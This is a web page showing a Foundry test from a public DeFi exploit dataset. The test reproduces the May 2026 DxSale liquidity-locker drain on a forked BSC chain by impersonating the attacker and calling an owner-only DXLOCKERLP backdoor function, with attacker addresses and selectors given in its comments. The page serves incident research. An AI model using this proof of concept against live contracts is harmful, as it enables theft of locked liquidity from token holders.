Public reproduction file
src/test/2026-05/DxSale_exp.sol
Public reproduction file for dataset entry DxSale.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : ~$7.3M USD8// Attacker : 0xC4574DDEF299e7E563971e200433e592EeaaFA699// Attack Contract : 0x74ad1ef17fbb3e494c31c72f7ec730a27fef0310 (EIP-7702 delegated drainer)10// Vulnerable Contract : 0xEb3a9C56d963b971d320f889bE2fb8B59853e449 (DxSale Legacy Liquidity Locker)11// Attack Tx : 0xe211904a8a40f653acd64ffc33a42429ef571c1e2da16976d07ac0f9a0bcc9c112// @Analysis13// Post-mortem : https://crypto.news/dxsale-exploit-drains-7-3m-in-bnb-through-hidden-contract-backdoor/14// Twitter Guy : https://x.com/Tahax1/status/192816931673665156815// Hacking God : https://x.com/CoinsultAudits/status/192820383199629767017// Root Cause:18// DxSale deployer secretly transferred locker ownership through 89 wallets over 269 days.19// Final owner (attacker) used privileged DXLOCKERLP() owner-only backdoor to drain20// all 1400+ locked LP positions without bypassing individual timelocks.21// Attack used EIP-7702 tx type 4 delegation to a custom drainer contract for batch execution.23// Function selectors decoded from unverified bytecode via 4byte.directory:24// 0xae4f4df1: DXLOCKERLP(address,uint256) -- owner-only backdoor drain function25// 0xc7450462: UserLockerCount(address) -- returns number of locks for a user26// 0xdd2e0ac0: unlockToken(uint256) -- normal user unlock (timelock enforced)27// 0x0511a506: createLocker(address,uint256,uint256,string) payable -- lock tokens28// 0x6cda375b: changeFees(uint256) -- owner fee update30interface IDxSaleLocker {31 function DXLOCKERLP(address victim, uint256 lockId) external;32 function UserLockerCount(address user) external view returns (uint256);33}35contract DxSaleExploitTest is Test {36 IDxSaleLocker constant LOCKER = IDxSaleLocker(0xEb3a9C56d963b971d320f889bE2fb8B59853e449);37 IERC20 constant WBNB_TOKEN = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);38 address constant ATTACKER = 0xC4574DDEF299e7E563971e200433e592EeaaFA69;39 address constant VICTIM = 0xc7Fc793e685A1dc80f517E7EE903859F72BE0Aa8;40 uint256 constant ATTACK_BLOCK = 100_806_731;42 function setUp() public {43 vm.createSelectFork("bsc", ATTACK_BLOCK - 1);44 vm.label(address(LOCKER), "DxSale_Legacy_Locker");45 vm.label(ATTACKER, "Attacker");46 vm.label(VICTIM, "Victim");47 vm.label(address(WBNB_TOKEN), "WBNB");48 }50 function testExploit() public {51 console.log("--- DxSale Legacy Liquidity Locker Exploit ---");52 console.log("Attack date: May 28, 2026");53 console.log("Attacker BNB before:", address(ATTACKER).balance / 1e18);55 uint256 victimLockCount = LOCKER.UserLockerCount(VICTIM);56 console.log("Victim lock count:", victimLockCount);58 vm.startPrank(ATTACKER);60 // Try without value - DXLOCKERLP may not be payable61 LOCKER.DXLOCKERLP(VICTIM, 0);62 console.log("Drained lockId 0");64 vm.stopPrank();66 console.log("Attacker BNB after:", address(ATTACKER).balance / 1e18);67 console.log("Victim locks remaining:", LOCKER.UserLockerCount(VICTIM));68 }69}Analysis
Dataset entry
Public Foundry test for “DxSale” (2026-05-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-05/AdsharesBridge_exp.solSame month in the dataset · 67 lines
- src/test/2026-05/AROS_exp.solSame month in the dataset · 326 lines
- src/test/2026-05/Ekubo_exp.solSame month in the dataset · 107 lines
- src/test/2026-05/ElevateFi_exp.solSame month in the dataset · 144 lines
- src/test/2026-05/FractalProtocol_exp.solSame month in the dataset · 243 lines
- src/test/2026-05/HumaCreditApprovalBypass_exp.solSame month in the dataset · 101 lines
- src/test/2026-05/INKFinance_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/JoeAgent_exp.solSame month in the dataset · 184 lines
- src/test/2026-05/LegendaryMoneyMonNft_exp.solSame month in the dataset · 145 lines
- src/test/2026-05/MAPProtocol_exp.solSame month in the dataset · 82 lines
- src/test/2026-05/MureDistribution_exp.solSame month in the dataset · 172 lines
- src/test/2026-05/NewMarketTrading_exp.solSame month in the dataset · 212 lines
- src/test/2026-05/Renegade_exp.solSame month in the dataset · 224 lines
- src/test/2026-05/SEAToken_exp.solSame month in the dataset · 165 lines
- src/test/2026-05/SharwaMarginTrading_exp.solSame month in the dataset · 271 lines
- src/test/2026-05/SKP_exp.solSame month in the dataset · 118 lines
- src/test/2026-05/SQTokenStaking_exp.solSame month in the dataset · 136 lines
- src/test/2026-05/SquidRouterModule_exp.solSame month in the dataset · 213 lines
- src/test/2026-05/TesseraSwap_exp.solSame month in the dataset · 125 lines
- src/test/2026-05/TrustedVolumes_exp.solSame month in the dataset · 190 lines
- src/test/2026-05/VerusBridge_exp.solSame month in the dataset · 251 lines
- src/test/2026-05/WUSD_exp.solSame month in the dataset · 339 lines
- src/test/2026-05/YSDAO_exp.solSame month in the dataset · 131 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc4574ddef299e7e563971e200433e592eeaafa69
- Attack Contract
0x74ad1ef17fbb3e494c31c72f7ec730a27fef0310
- Vulnerable Contract
0xeb3a9c56d963b971d320f889be2fb8b59853e449
- Attack Tx
0xe211904a8a40f653acd64ffc33a42429ef571c1e2da16976d07ac0f9a0bcc9c1
File record
- Name
- DxSale
- Path
- src/test/2026-05/DxSale_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e53419943b004ca0721f09cf29630d6ff016994c
- Language
- Solidity
- Size
- 70 lines
- Date
- 2026-05-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-05/DxSale_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e53419943b004ca0721f09cf29630d6ff016994c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.